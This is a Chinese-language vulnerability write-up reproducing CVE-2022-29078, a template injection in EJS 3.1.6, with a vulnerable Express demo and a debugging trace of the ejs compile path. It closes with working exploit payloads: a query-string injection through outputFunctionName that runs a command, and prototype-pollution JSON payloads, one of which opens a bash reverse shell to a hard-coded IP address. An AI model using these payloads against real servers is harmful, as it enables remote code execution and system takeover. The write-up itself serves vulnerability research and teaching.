EJS模板注入漏洞分析(CVE-2022-29078)
主要参考https://xz.aliyun.com/t/12323#toc-9进行复现
EJS
介绍和用法可见官网:https://ejs.bootcss.com/#features
EJS 是一套简单的模板语言,帮你利用普通的 JavaScript 代码生成 HTML 页面。EJS 没有如何组织内容的教条;也没有再造一套迭代和控制流语法;有的只是普通的 JavaScript 代码而已。
CVE-2022-29078:ejs-SSTI
漏洞利用条件
- ejs@3.1.6
漏洞调试
demo如下:
// app.js
const express = require('express');
const app = express();
const PORT = 3000;
app.set('views', __dirname);
app.set('view engine', 'ejs');
app.get('/', (req, res) => {
res.render('index', req.query);
});
app.listen(PORT, ()=> {
console.log(`Server is running on ${PORT}`);
});
<html>
<head>
<title>Lab CVE-2022-29078</title>
</head>
<body>
<h2>CVE-2022-29078</h2>
<%= test %>
</body>
</html>
- 调用栈
在res.render
处打下断点,强制进入
repsonse.js
下的render
这是express处理路由时,需要渲染首先先载入上下文环境,然后进一步render
application.js
下的render
进入render
后开始处理模板
然后进入视图渲染
启动ejs模板引擎
- 进入
libs/ejs.js
中的renderFile
首先浅拷贝opt,然后进入tryHandleCache
-
在
tryHandlerCache
中首先判断是否有回调函数,有的话则进入else语块内
然后进入缓存处理,判断是否启用缓存和判断是否已经存在模板,进行模板的懒加载
传入template和opt,进行compile
进入templ.complie
进行拼接,此时可以进行代码注入
返回函数
函数调用,在apply中执行js代码
- 在最终的
index.ejs
文件中可以查看到模板注入的代码
EXP
注入点在opt.outputFunctionName
?test=111&settings[view options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('calc.exe');s
配合原型链污染完成代码注入
能够恶意代码的前提是,代码能够被注入,原型链污染提供了另一种代码注入的思路。
大致过程和上述的漏洞调试过程相同。只是此步的outputFunctionName
来自于原型继承:
所以只要配合原型链污染漏洞(原型链污染往往来自其他函数的滥用),将上游的outputFunctionName
污染即可
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require(\'child_process\').execSync('calc');var __tmp2"}}
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require(\'child_process\').exec('calc');var __tmp2"}}
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/120.77.200.94/8888 0>&1\"');var __tmp2"}}